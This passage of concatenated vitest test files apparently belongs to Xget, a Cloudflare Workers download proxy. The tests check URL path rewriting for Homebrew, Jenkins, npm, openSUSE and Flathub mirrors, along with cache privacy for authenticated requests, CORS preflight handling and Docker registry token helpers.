import { describe, expect, it } from 'vitest';
import { transformPath } from '../../src/routing/platform-transformers.js';
describe('Homebrew path transformation', () => {
describe('homebrew-api platform', () => {
it('should handle formula API paths correctly', () => {
const path = '/homebrew/api/formula/git.json';
const result = transformPath(path, 'homebrew-api');
expect(result).toBe('/formula/git.json');
});
it('should handle cask API paths correctly', () => {
const path = '/homebrew/api/cask/docker.json';
const result = transformPath(path, 'homebrew-api');
expect(result).toBe('/cask/docker.json');
});
it('should handle formula list API paths correctly', () => {
const path = '/homebrew/api/formula.json';
const result = transformPath(path, 'homebrew-api');
expect(result).toBe('/formula.json');
});
it('should handle cask list API paths correctly', () => {
const path = '/homebrew/api/cask.json';
const result = transformPath(path, 'homebrew-api');
expect(result).toBe('/cask.json');
});
});
describe('homebrew-bottles platform', () => {
it('should handle bottle manifest paths correctly', () => {
const path = '/homebrew/bottles/v2/homebrew/core/git/manifests/2.39.0';
const result = transformPath(path, 'homebrew-bottles');
expect(result).toBe('/v2/homebrew/core/git/manifests/2.39.0');
});
it('should handle bottle blob paths correctly', () => {
const path = '/homebrew/bottles/v2/homebrew/core/git/blobs/sha256:abcd1234';
const result = transformPath(path, 'homebrew-bottles');
expect(result).toBe('/v2/homebrew/core/git/blobs/sha256:abcd1234');
});
it('should handle bottle catalog paths correctly', () => {
const path = '/homebrew/bottles/v2/_catalog';
const result = transformPath(path, 'homebrew-bottles');
expect(result).toBe('/v2/_catalog');
});
});
describe('homebrew platform', () => {
it('should handle brew repository paths correctly', () => {
const path = '/homebrew/brew.git/info/refs';
const result = transformPath(path, 'homebrew');
expect(result).toBe('/brew.git/info/refs');
});
it('should handle homebrew-core repository paths correctly', () => {
const path = '/homebrew/homebrew-core.git/info/refs';
const result = transformPath(path, 'homebrew');
expect(result).toBe('/homebrew-core.git/info/refs');
});
it('should handle homebrew-cask repository paths correctly', () => {
const path = '/homebrew/homebrew-cask.git/archive/refs/heads/master.tar.gz';
const result = transformPath(path, 'homebrew');
expect(result).toBe('/homebrew-cask.git/archive/refs/heads/master.tar.gz');
});
it('should handle raw file downloads correctly', () => {
const path = '/homebrew/homebrew-core/archive/master.tar.gz';
const result = transformPath(path, 'homebrew');
expect(result).toBe('/homebrew-core/archive/master.tar.gz');
});
});
});
================================================
FILE: test/platforms/jenkins.test.js
================================================
import { describe, expect, it } from 'vitest';
import { transformPath } from '../../src/routing/platform-transformers.js';
describe('Jenkins Plugin Support', () => {
describe('Update Center Transformations', () => {
it('should redirect default update-center.json to current', () => {
const result = transformPath('/jenkins/update-center.json', 'jenkins');
expect(result).toBe('/current/update-center.json');
});
it('should redirect update-center.actual.json to current', () => {
const result = transformPath('/jenkins/update-center.actual.json', 'jenkins');
expect(result).toBe('/current/update-center.actual.json');
});
it('should preserve current paths as-is', () => {
const result = transformPath('/jenkins/current/update-center.json', 'jenkins');
expect(result).toBe('/current/update-center.json');
});
it('should preserve experimental paths as-is', () => {
const result = transformPath('/jenkins/experimental/update-center.json', 'jenkins');
expect(result).toBe('/experimental/update-center.json');
});
it('should preserve download paths as-is', () => {
const result = transformPath('/jenkins/download/plugins/git/5.2.1/git.hpi', 'jenkins');
expect(result).toBe('/download/plugins/git/5.2.1/git.hpi');
});
});
describe('Plugin Download Transformations', () => {
it('should handle Maven plugin download', () => {
const path = '/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi';
const result = transformPath(path, 'jenkins');
expect(result).toBe('/download/plugins/maven-plugin/3.27/maven-plugin.hpi');
});
it('should handle Git plugin download', () => {
const path = '/jenkins/download/plugins/git/5.2.1/git.hpi';
const result = transformPath(path, 'jenkins');
expect(result).toBe('/download/plugins/git/5.2.1/git.hpi');
});
it('should handle workflow aggregator plugin download', () => {
const path =
'/jenkins/download/plugins/workflow-aggregator/596.v8c21c963d92d/workflow-aggregator.hpi';
const result = transformPath(path, 'jenkins');
expect(result).toBe(
'/download/plugins/workflow-aggregator/596.v8c21c963d92d/workflow-aggregator.hpi'
);
});
it('should handle blueocean plugin download', () => {
const path = '/jenkins/download/plugins/blueocean/1.27.8/blueocean.hpi';
const result = transformPath(path, 'jenkins');
expect(result).toBe('/download/plugins/blueocean/1.27.8/blueocean.hpi');
});
});
describe('Special Path Handling', () => {
it('should prefix unknown paths with current', () => {
const result = transformPath('/jenkins/unknown-path', 'jenkins');
expect(result).toBe('/current/unknown-path');
});
it('should handle paths with query parameters', () => {
const result = transformPath('/jenkins/update-center.json?version=2.401', 'jenkins');
expect(result).toBe('/current/update-center.json?version=2.401');
});
it('should handle deep nested paths', () => {
const result = transformPath('/jenkins/some/deep/nested/path', 'jenkins');
expect(result).toBe('/current/some/deep/nested/path');
});
it('should handle root path', () => {
const result = transformPath('/jenkins/', 'jenkins');
expect(result).toBe('/current/');
});
});
describe('Real-world Jenkins URLs', () => {
const testCases = [
{
description: 'Jenkins update center',
input: '/jenkins/update-center.json',
expected: '/current/update-center.json'
},
{
description: 'Jenkins experimental update center',
input: '/jenkins/experimental/update-center.json',
expected: '/experimental/update-center.json'
},
{
description: 'Git plugin latest',
input: '/jenkins/download/plugins/git/5.2.1/git.hpi',
expected: '/download/plugins/git/5.2.1/git.hpi'
},
{
description: 'Maven plugin',
input: '/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi',
expected: '/download/plugins/maven-plugin/3.27/maven-plugin.hpi'
},
{
description: 'Docker workflow plugin',
input: '/jenkins/download/plugins/docker-workflow/563.vd5d2e5c4007f/docker-workflow.hpi',
expected: '/download/plugins/docker-workflow/563.vd5d2e5c4007f/docker-workflow.hpi'
},
{
description: 'Blue Ocean plugin',
input: '/jenkins/download/plugins/blueocean/1.27.8/blueocean.hpi',
expected: '/download/plugins/blueocean/1.27.8/blueocean.hpi'
}
];
testCases.forEach(({ description, input, expected }) => {
it(`should transform ${description} correctly`, () => {
const result = transformPath(input, 'jenkins');
expect(result).toBe(expected);
});
});
});
describe('Version Compatibility', () => {
it('should handle various plugin version formats', () => {
const versionFormats = [
'1.0.0',
'2.34.1',
'596.v8c21c963d92d',
'563.vd5d2e5c4007f',
'1.27.8',
'3.27'
];
versionFormats.forEach(version => {
const path = `/jenkins/download/plugins/test-plugin/${version}/test-plugin.hpi`;
const result = transformPath(path, 'jenkins');
expect(result).toBe(`/download/plugins/test-plugin/${version}/test-plugin.hpi`);
});
});
it('should handle plugin names with special characters', () => {
const pluginNames = [
'maven-plugin',
'workflow-aggregator',
'docker-workflow',
'ant',
'build-timeout',
'git',
'github',
'matrix-auth'
];
pluginNames.forEach(pluginName => {
const path = `/jenkins/download/plugins/${pluginName}/1.0.0/${pluginName}.hpi`;
const result = transformPath(path, 'jenkins');
expect(result).toBe(`/download/plugins/${pluginName}/1.0.0/${pluginName}.hpi`);
});
});
});
});
================================================
FILE: test/platforms/npm-fix.test.js
================================================
import { describe, expect, it } from 'vitest';
describe('npm URL Rewriting Fix', () => {
it('should correctly rewrite npm registry URLs to preserve package names', () => {
const mockOriginalText = JSON.stringify({
name: 'npm',
versions: {
'11.5.1': {
dist: {
tarball: 'https://registry.npmjs.org/npm/-/npm-11.5.1.tgz'
}
}
}
});
// Simulate the regex replacement that happens in the code
const rewrittenText = mockOriginalText.replace(
/https:\/\/registry.npmjs.org\/([^/]+)/g,
'https://xget.xi-xu.me/npm/$1'
);
const rewrittenData = JSON.parse(rewrittenText);
// Verify the URL is correctly rewritten
expect(rewrittenData.versions['11.5.1'].dist.tarball).toBe(
'https://xget.xi-xu.me/npm/npm/-/npm-11.5.1.tgz'
);
});
it('should handle scoped packages correctly', () => {
const mockOriginalText = JSON.stringify({
name: '@types/node',
versions: {
'20.0.0': {
dist: {
tarball: 'https://registry.npmjs.org/@types/node/-/node-20.0.0.tgz'
}
}
}
});
const rewrittenText = mockOriginalText.replace(
/https:\/\/registry.npmjs.org\/([^/]+)/g,
'https://xget.xi-xu.me/npm/$1'
);
const rewrittenData = JSON.parse(rewrittenText);
expect(rewrittenData.versions['20.0.0'].dist.tarball).toBe(
'https://xget.xi-xu.me/npm/@types/node/-/node-20.0.0.tgz'
);
});
it('should handle multiple URLs in the same JSON response', () => {
const mockOriginalText = JSON.stringify({
dist: {
tarball: 'https://registry.npmjs.org/package1/-/package1-1.0.0.tgz'
},
dependencies: {
dep: {
dist: {
tarball: 'https://registry.npmjs.org/dep/-/dep-2.0.0.tgz'
}
}
}
});
const rewrittenText = mockOriginalText.replace(
/https:\/\/registry.npmjs.org\/([^/]+)/g,
'https://xget.xi-xu.me/npm/$1'
);
const rewrittenData = JSON.parse(rewrittenText);
expect(rewrittenData.dist.tarball).toBe(
'https://xget.xi-xu.me/npm/package1/-/package1-1.0.0.tgz'
);
expect(rewrittenData.dependencies.dep.dist.tarball).toBe(
'https://xget.xi-xu.me/npm/dep/-/dep-2.0.0.tgz'
);
});
});
================================================
FILE: test/platforms/opensuse.test.js
================================================
import { describe, expect, it } from 'vitest';
import { PLATFORM_CATALOG as PLATFORMS } from '../../src/config/platform-catalog.js';
import { transformPath } from '../../src/routing/platform-transformers.js';
describe('openSUSE Platform Configuration', () => {
it('should have openSUSE platform configured', () => {
expect(PLATFORMS.opensuse).toBe('https://download.opensuse.org');
});
it('should transform openSUSE paths correctly', () => {
const testCases = [
{
input:
'/opensuse/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm',
expected: '/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm',
description: 'Leap package file'
},
{
input: '/opensuse/tumbleweed/repo/oss/x86_64/firefox-121.0-1.1.x86_64.rpm',
expected: '/tumbleweed/repo/oss/x86_64/firefox-121.0-1.1.x86_64.rpm',
description: 'Tumbleweed package file'
},
{
input: '/opensuse/distribution/leap/15.5/repo/oss/repodata/repomd.xml',
expected: '/distribution/leap/15.5/repo/oss/repodata/repomd.xml',
description: 'repository metadata'
},
{
input:
'/opensuse/source/distribution/leap/15.5/repo/oss/src/kernel-default-5.14.21-150500.55.44.1.src.rpm',
expected:
'/source/distribution/leap/15.5/repo/oss/src/kernel-default-5.14.21-150500.55.44.1.src.rpm',
description: 'source package'
},
{
input: '/opensuse/update/leap/15.5/oss/x86_64/systemd-249.17-150400.8.35.1.x86_64.rpm',
expected: '/update/leap/15.5/oss/x86_64/systemd-249.17-150400.8.35.1.x86_64.rpm',
description: 'update package'
}
];
testCases.forEach(({ input, expected, description }) => {
const result = transformPath(input, 'opensuse');
expect(result, `Failed for ${description}: ${input}`).toBe(expected);
});
});
it('should handle root path correctly', () => {
const result = transformPath('/opensuse/', 'opensuse');
expect(result).toBe('/');
});
it('should handle paths without platform prefix', () => {
const result = transformPath(
'/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm',
'opensuse'
);
expect(result).toBe(
'/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm'
);
});
});
================================================
FILE: test/setup.js
================================================
/**
* Test setup and global configuration
* Simplified version - only essential setup
*/
import { beforeAll } from 'vitest';
/**
* Global setup - runs once before all tests
*/
beforeAll(async () => {
// Verify Cloudflare Workers environment
if (typeof globalThis.fetch === 'undefined') {
throw new Error('fetch is not available in test environment');
}
// Verify required Web APIs
const requiredGlobals = ['Request', 'Response', 'Headers', 'URL', 'URLSearchParams'];
for (const global of requiredGlobals) {
// @ts-ignore - Dynamic global access for testing
if (typeof globalThis[global] === 'undefined') {
throw new Error(`Required global ${global} is not available`);
}
}
// Verify SELF is available for Cloudflare Workers testing
try {
const { SELF } = await import('cloudflare:test');
if (!SELF) {
throw new Error('SELF is not available');
}
} catch {
console.warn('Warning: Cloudflare Workers test environment not available');
}
// Setup performance API if not available
if (typeof performance === 'undefined') {
// @ts-ignore - Partial performance implementation for testing
globalThis.performance = {
now: () => Date.now()
};
}
});
================================================
FILE: test/types.d.ts
================================================
/**
* Type declarations for cloudflare:test module
* Based on @cloudflare/vitest-pool-workers
*/
declare module 'cloudflare:test' {
/**
* Service binding to the default export defined in the `main` worker
*/
export const SELF: {
fetch(request: RequestInfo, init?: RequestInit): Promise;
fetch(url: string, init?: RequestInit): Promise;
};
/**
* Creates an instance of ExecutionContext for use in tests
*/
export function createExecutionContext(): ExecutionContext;
/**
* Waits for all ExecutionContext.waitUntil() promises to settle
*/
export function waitOnExecutionContext(ctx: ExecutionContext): Promise;
}
================================================
FILE: test/unit/app-structure.test.js
================================================
import { describe, expect, it } from 'vitest';
import apiHandler, { config as vercelConfig } from '../../adapters/functions/api/index.js';
import { handler as denoHandler } from '../../adapters/functions/deno.js';
import { onRequest } from '../../adapters/pages/functions/[[path]].js';
import { createRequestContext } from '../../src/app/request-context.js';
import { PLATFORM_CATALOG } from '../../src/config/platform-catalog.js';
import { normalizeEffectivePath, resolveTarget } from '../../src/routing/resolve-target.js';
describe('Application structure', () => {
it('builds a shared request context for protocol-aware routing', () => {
const request = new Request('https://example.com/ip/openai/v1/chat/completions', {
method: 'OPTIONS',
headers: {
Origin: 'https://app.example.com',
'Access-Control-Request-Method': 'POST'
}
});
const context = createRequestContext(request, {
ALLOWED_METHODS: 'GET,HEAD,POST'
});
expect(context.isAI).toBe(true);
expect(context.isCorsPreflight).toBe(true);
expect(context.config.SECURITY.ALLOWED_METHODS).toContain('POST');
});
it('normalizes Docker host-style paths before resolving upstream targets', () => {
const url = new URL('https://example.com/v2/cr/ghcr/xixu-me/xget/manifests/latest');
const normalized = normalizeEffectivePath(url, true);
expect('effectivePath' in normalized).toBe(true);
if ('effectivePath' in normalized) {
expect(normalized.effectivePath).toBe('/cr/ghcr/v2/xixu-me/xget/manifests/latest');
const target = resolveTarget(url, normalized.effectivePath, PLATFORM_CATALOG);
expect('response' in target).toBe(false);
if (!('response' in target)) {
expect(target.platform).toBe('cr-ghcr');
expect(target.targetUrl).toBe('https://ghcr.io/v2/xixu-me/xget/manifests/latest');
}
}
});
it('exposes thin runtime adapter entrypoints', () => {
expect(typeof apiHandler).toBe('function');
expect(typeof denoHandler).toBe('function');
expect(typeof onRequest).toBe('function');
expect(vercelConfig).toEqual({ runtime: 'edge' });
});
});
================================================
FILE: test/unit/cache-privacy.test.js
================================================
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import worker from '../../src/index.js';
describe('Cache Privacy', () => {
/** @type {{ match: ReturnType, put: ReturnType }} */
let cacheDefault;
/** @type {ReturnType} */
let fetchStub;
beforeEach(() => {
cacheDefault = {
match: vi.fn(async () => null),
put: vi.fn(async () => undefined)
};
vi.stubGlobal('caches', { default: cacheDefault });
fetchStub = vi.fn(async () => {
return new Response('ok', {
status: 200,
headers: {
'Content-Type': 'text/plain'
}
});
});
vi.stubGlobal('fetch', fetchStub);
});
afterEach(() => {
vi.unstubAllGlobals();
vi.restoreAllMocks();
});
it('should not use Cache API for requests with Authorization', async () => {
const request = new Request('https://example.com/gh/test/repo/file.txt', {
method: 'GET',
headers: {
Authorization: 'Bearer test-token'
}
});
const ctx = { waitUntil: () => {}, passThroughOnException: () => {} };
const response = await worker.fetch(request, {}, ctx);
expect(response.status).toBe(200);
expect(cacheDefault.match).not.toHaveBeenCalled();
expect(cacheDefault.put).not.toHaveBeenCalled();
expect(response.headers.get('Cache-Control')).toBe('private, no-store');
});
it('should use Cache API for non-authenticated GET requests', async () => {
const request = new Request('https://example.com/gh/test/repo/file.txt', {
method: 'GET'
});
const ctx = { waitUntil: () => {}, passThroughOnException: () => {} };
const response = await worker.fetch(request, {}, ctx);
expect(response.status).toBe(200);
expect(cacheDefault.match).toHaveBeenCalled();
expect(fetchStub).toHaveBeenCalled();
expect(response.headers.get('Cache-Control') || '').toContain('public');
});
});
================================================
FILE: test/unit/cors-and-proxy-options.test.js
================================================
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import worker from '../../src/index.js';
/** @type {ExecutionContext} */
const executionContext = {
waitUntil() {},
passThroughOnException() {}
};
describe('CORS and Proxy Request Options', () => {
beforeEach(() => {
vi.stubGlobal('caches', {
default: {
match: vi.fn(async () => null),
put: vi.fn(async () => undefined)
}
});
});
afterEach(() => {
vi.unstubAllGlobals();
vi.restoreAllMocks();
});
it('does not send a synthetic Origin header upstream', async () => {
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('ok', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
})
);
const response = await worker.fetch(
new Request('https://example.com/gh/test/repo/index.html'),
{},
executionContext
);
expect(response.status).toBe(200);
const upstreamHeaders = new Headers(fetchSpy.mock.calls[0][1]?.headers);
expect(upstreamHeaders.has('Origin')).toBe(false);
});
it('does not enable Cloudflare minification for proxied responses', async () => {
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('ok', {
status: 200,
headers: { 'Content-Type': 'text/html' }
})
);
await worker.fetch(
new Request('https://example.com/gh/test/repo/index.html'),
{},
executionContext
);
const fetchOptions = /** @type {RequestInit & { cf?: Record }} */ (
fetchSpy.mock.calls[0][1] || {}
);
expect(fetchOptions.cf).toEqual(
expect.objectContaining({
http3: true,
cacheEverything: true,
preconnect: true
})
);
expect(fetchOptions.cf).not.toHaveProperty('minify');
});
it('responds to preflight requests for allowed origins', async () => {
const response = await worker.fetch(
new Request('https://example.com/gh/test/repo', {
method: 'OPTIONS',
headers: {
Origin: 'https://app.example.com',
'Access-Control-Request-Method': 'GET',
'Access-Control-Request-Headers': 'X-Custom-Header'
}
}),
{
ALLOWED_ORIGINS: 'https://app.example.com'
},
executionContext
);
expect(response.status).toBe(204);
expect(response.headers.get('Access-Control-Allow-Origin')).toBe('https://app.example.com');
expect(response.headers.get('Access-Control-Allow-Methods')).toContain('GET');
expect(response.headers.get('Access-Control-Allow-Headers')).toBe('X-Custom-Header');
});
it('rejects preflight requests for disallowed origins', async () => {
const response = await worker.fetch(
new Request('https://example.com/gh/test/repo', {
method: 'OPTIONS',
headers: {
Origin: 'https://evil.example.com',
'Access-Control-Request-Method': 'GET'
}
}),
{
ALLOWED_ORIGINS: 'https://app.example.com'
},
executionContext
);
expect(response.status).toBe(403);
expect(response.headers.get('Access-Control-Allow-Origin')).toBeNull();
});
it('adds CORS headers to normal responses for allowed origins', async () => {
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('ok', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
})
);
const response = await worker.fetch(
new Request('https://example.com/gh/test/repo/file.txt', {
headers: {
Origin: 'https://app.example.com'
}
}),
{
ALLOWED_ORIGINS: 'https://app.example.com'
},
executionContext
);
expect(response.status).toBe(200);
expect(response.headers.get('Access-Control-Allow-Origin')).toBe('https://app.example.com');
expect(response.headers.get('Vary')).toContain('Origin');
});
});
================================================
FILE: test/unit/docker-helpers.test.js
================================================
import { afterEach, describe, expect, it, vi } from 'vitest';
import { CONFIG } from '../../src/config/index.js';
import {
fetchToken,
getScopeFromUrl,
handleDockerAuth,
normalizeRegistryApiPath,
parseAuthenticate,
readRegistryTokenResponse
} from '../../src/protocols/docker.js';
afterEach(() => {
vi.restoreAllMocks();
});
describe('Docker helper coverage', () => {
it('throws on malformed authenticate headers', () => {
expect(() => parseAuthenticate('Bearer service="registry.docker.io"')).toThrow(
/invalid WWW-Authenticate/
);
});
it('includes authorization when fetching registry tokens', async () => {
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('{}', {
status: 200,
headers: { 'Content-Type': 'application/json' }
})
);
await fetchToken(
{ realm: 'https://auth.example.com/token', service: 'registry.example.com' },
'repository:demo/app:pull',
'Bearer registry-secret'
);
const upstreamHeaders = new Headers(fetchSpy.mock.calls[0][1]?.headers);
expect(String(fetchSpy.mock.calls[0][0])).toContain('scope=repository%3Ademo%2Fapp%3Apull');
expect(upstreamHeaders.get('Authorization')).toBe('Bearer registry-secret');
});
it('reads both token formats and rejects malformed token payloads', async () => {
await expect(
readRegistryTokenResponse(
new Response(JSON.stringify({ token: 'abc123' }), {
status: 200,
headers: { 'Content-Type': 'application/json' }
})
)
).resolves.toBe('abc123');
await expect(
readRegistryTokenResponse(
new Response(JSON.stringify({ access_token: 'def456' }), {
status: 200,
headers: { 'Content-Type': 'application/json' }
})
)
).resolves.toBe('def456');
await expect(
readRegistryTokenResponse(
new Response(JSON.stringify('invalid-shape'), {
status: 200,
headers: { 'Content-Type': 'application/json' }
})
)
).resolves.toBeNull();
await expect(
readRegistryTokenResponse(
new Response('{not-json', {
status: 200,
headers: { 'Content-Type': 'application/json' }
})
)
).resolves.toBeNull();
});
it('derives catalog and empty scopes from registry paths', () => {
const catalogUrl = new URL('https://example.com/cr/ghcr/v2/_catalog');
const unsupportedUrl = new URL('https://example.com/cr/ghcr/v2');
expect(getScopeFromUrl(catalogUrl, catalogUrl.pathname, 'cr-ghcr')).toBe('registry:catalog:*');
expect(getScopeFromUrl(unsupportedUrl, unsupportedUrl.pathname, 'cr-ghcr')).toBe('');
});
it('leaves normalized registry paths untouched when no library prefix is needed', () => {
expect(normalizeRegistryApiPath('cr-ghcr', '/v2/org/app/manifests/latest')).toBe(
'/v2/org/app/manifests/latest'
);
expect(normalizeRegistryApiPath('cr-docker', '/v2/library/nginx/manifests/latest')).toBe(
'/v2/library/nginx/manifests/latest'
);
expect(normalizeRegistryApiPath('cr-docker', '/v2/_catalog')).toBe('/v2/_catalog');
});
it('returns a generic error for unsupported Docker auth scopes', async () => {
const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});
const request = new Request(
'https://example.com/v2/auth?scope=repository:cr/unknown/private:pull'
);
const response = await handleDockerAuth(request, new URL(request.url), CONFIG);
expect(response.status).toBe(400);
expect(await response.text()).toBe('Invalid Docker authentication request');
expect(errorSpy).toHaveBeenCalledWith(
'Failed to resolve Docker auth target:',
expect.any(Error)
);
});
it('forwards upstream auth responses that are not challenges', async () => {
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('already-authorized', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
})
);
const request = new Request('https://example.com/cr/ghcr/v2/auth?service=Xget');
const response = await handleDockerAuth(request, new URL(request.url), CONFIG);
expect(response.status).toBe(200);
expect(await response.text()).toBe('already-authorized');
});
it('forwards 401 responses without authenticate headers from the upstream root probe', async () => {
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('missing-authenticate', {
status: 401,
headers: { 'Content-Type': 'text/plain' }
})
);
const request = new Request('https://example.com/cr/ghcr/v2/auth?service=Xget');
const response = await handleDockerAuth(request, new URL(request.url), CONFIG);
expect(response.status).toBe(401);
expect(await response.text()).toBe('missing-authenticate');
});
});
================================================
FILE: test/unit/flathub-rewrite.test.js
================================================
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import worker from '../../src/index.js';
/** @type {ExecutionContext} */
const executionContext = {
waitUntil() {},
passThroughOnException() {}
};
/**
* Reads a response body as UTF-8 text without relying on the response MIME type.
* @param {Response} response
* @returns {Promise} Decoded UTF-8 response text.
*/
async function readUtf8Text(response) {
return new TextDecoder().decode(await response.arrayBuffer());
}
describe('Flathub Response Rewriting', () => {
beforeEach(() => {
vi.stubGlobal('caches', {
default: {
match: vi.fn(async () => null),
put: vi.fn(async () => undefined)
}
});
});
afterEach(() => {
vi.unstubAllGlobals();
vi.restoreAllMocks();
});
it('rewrites .flatpakrepo URLs to stay on the Xget mirror', async () => {
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response(
[
'[Flatpak Repo]',
'Url=https://dl.flathub.org/repo/',
'Icon=https://dl.flathub.org/repo/logo.svg',
'Homepage=https://flathub.org/'
].join('\n'),
{
status: 200,
headers: { 'Content-Type': 'application/octet-stream' }
}
)
);
const response = await worker.fetch(
new Request('https://example.com/flathub/repo/flathub.flatpakrepo'),
{},
executionContext
);
expect(response.status).toBe(200);
const body = await readUtf8Text(response);
expect(body).toContain('Url=https://example.com/flathub/repo/');
expect(body).toContain('Icon=https://example.com/flathub/repo/logo.svg');
expect(body).toContain('Homepage=https://flathub.org/');
expect(response.headers.get('Content-Length')).toBe(
String(new TextEncoder().encode(body).length)
);
});
it('rewrites .flatpakref URLs to stay on the Xget mirror', async () => {
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response(
[
'[Flatpak Ref]',
'Name=org.gnome.gedit',
'Url=https://dl.flathub.org/repo/',
'RuntimeRepo=https://dl.flathub.org/repo/flathub.flatpakrepo'
].join('\n'),
{
status: 200,
headers: { 'Content-Type': 'application/octet-stream' }
}
)
);
const response = await worker.fetch(
new Request('https://example.com/flathub/repo/appstream/org.gnome.gedit.flatpakref'),
{},
executionContext
);
expect(response.status).toBe(200);
const body = await readUtf8Text(response);
expect(body).toContain('Url=https://example.com/flathub/repo/');
expect(body).toContain('RuntimeRepo=https://example.com/flathub/repo/flathub.flatpakrepo');
});
it('uses host-scoped cache keys for rewritten Flathub descriptors', async () => {
const cacheEntries = new Map();
vi.stubGlobal('caches', {
default: {
match: vi.fn(async request => cacheEntries.get(request.url) || null),
put: vi.fn(async (request, response) => {
cacheEntries.set(request.url, response.clone());
})
}
});
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation(
async () =>
new Response(`[Flatpak Repo]\nUrl=https://dl.flathub.org/repo/`, {
status: 200,
headers: { 'Content-Type': 'application/octet-stream' }
})
);
const responseA = await worker.fetch(
new Request('https://mirror-a.example/flathub/repo/flathub.flatpakrepo'),
{},
executionContext
);
const responseB = await worker.fetch(
new Request('https://mirror-b.example/flathub/repo/flathub.flatpakrepo'),
{},
executionContext
);
expect(fetchSpy).toHaveBeenCalledTimes(2);
expect(await readUtf8Text(responseA)).toContain('Url=https://mirror-a.example/flathub/repo/');
expect(await readUtf8Text(responseB)).toContain('Url=https://mirror-b.example/flathub/repo/');
});
it('does not rewrite binary repository metadata like summary files', async () => {
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('summary-binary-payload', {
status: 200,
headers: { 'Content-Type': 'application/octet-stream' }
})
);
const response = await worker.fetch(
new Request('https://example.com/flathub/repo/summary'),
{},
executionContext
);
expect(response.status).toBe(200);
expect(await readUtf8Text(response)).toBe('summary-binary-payload');
});
});
================================================
FILE: test/unit/package-manifest.test.js
================================================
import { createRequire } from 'node:module';
import { describe, expect, it } from 'vitest';
describe('Package manifest', () => {
it('does not depend on itself', () => {
const require = createRequire(import.meta.url);
const packageJson = require('../../package.json');
const { dependencies } = packageJson;
const typedDependencies = /** @type {Record | undefined} */ (dependencies);
expect(packageJson.name).toBe('xget');
expect(typedDependencies?.xget).toBeUndefined();
});
});
================================================
FILE: test/unit/pipeline-modules.test.js
================================================
import { afterEach, describe, expect, it, vi } from 'vitest';
import { createRequestContext } from '../../src/app/request-context.js';
import { CONFIG } from '../../src/config/index.js';
import { finalizeResponse } from '../../src/response/finalize-response.js';
import { tryReadCachedResponse } from '../../src/upstream/cache.js';
import { fetchUpstreamResponse } from '../../src/upstream/fetch-upstream.js';
import { PerformanceMonitor } from '../../src/utils/performance.js';
afterEach(() => {
vi.restoreAllMocks();
});
describe('Pipeline modules', () => {
it('reuses cached full content for range requests through the cache helper', async () => {
const cache = {
match: vi
.fn()
.mockResolvedValueOnce(null)
.mockResolvedValueOnce(
new Response('full-body', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
})
)
};
const monitor = new PerformanceMonitor();
const markSpy = vi.spyOn(monitor, 'mark');
const request = new Request('https://example.com/gh/user/repo/file.txt', {
headers: { Range: 'bytes=0-3' }
});
const response = await tryReadCachedResponse({
cache: /** @type {Cache} */ (/** @type {unknown} */ (cache)),
cacheTargetUrl: 'https://github.com/user/repo/file.txt',
canUseCache: true,
hasSensitiveHeaders: false,
monitor,
request,
requestContext: createRequestContext(request, {})
});
expect(await response?.text()).toBe('full-body');
expect(markSpy).toHaveBeenCalledWith('cache_hit_full_content');
});
it('retries upstream fetches through the transport helper before succeeding', async () => {
const request = new Request('https://example.com/gh/user/repo/file.txt');
const requestContext = createRequestContext(request, {});
const fetchSpy = vi
.spyOn(globalThis, 'fetch')
.mockRejectedValueOnce(new Error('temporary-network-error'))
.mockResolvedValueOnce(
new Response('ok', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
})
);
const result = await fetchUpstreamResponse({
authorization: null,
canUseCache: true,
config: { ...CONFIG, MAX_RETRIES: 2, RETRY_DELAY_MS: 0 },
effectivePath: '/gh/user/repo/file.txt',
monitor: new PerformanceMonitor(),
platform: 'gh',
request,
requestContext,
shouldPassthroughRequest: false,
targetUrl: 'https://github.com/user/repo/file.txt'
});
expect(result.responseGeneratedLocally).toBe(false);
expect(result.response.status).toBe(200);
expect(fetchSpy).toHaveBeenCalledTimes(2);
});
it('rewrites npm metadata and refreshes content length during response finalization', async () => {
const request = new Request('https://example.com/npm/pkg');
const requestContext = createRequestContext(request, {});
const upstreamBody = JSON.stringify({
dist: {
tarball: 'https://registry.npmjs.org/pkg/-/pkg-1.0.0.tgz'
}
});
const response = await finalizeResponse({
cache: null,
cacheTargetUrl: 'https://registry.npmjs.org/pkg',
canUseCache: true,
config: CONFIG,
ctx: /** @type {ExecutionContext} */ ({ waitUntil() {}, passThroughOnException() {} }),
effectivePath: '/npm/pkg',
hasSensitiveHeaders: false,
monitor: new PerformanceMonitor(),
platform: 'npm',
request,
requestContext,
response: new Response(upstreamBody, {
status: 200,
headers: {
'Content-Type': 'application/json',
'Content-Length': String(upstreamBody.length)
}
}),
responseGeneratedLocally: false,
url: new URL(request.url)
});
const body = await response.text();
expect(body).toContain('https://example.com/npm/pkg/-/pkg-1.0.0.tgz');
expect(response.headers.get('Content-Length')).toBe(
String(new TextEncoder().encode(body).byteLength)
);
});
});
================================================
FILE: test/unit/platform-boundaries.test.js
================================================
import { describe, expect, it } from 'vitest';
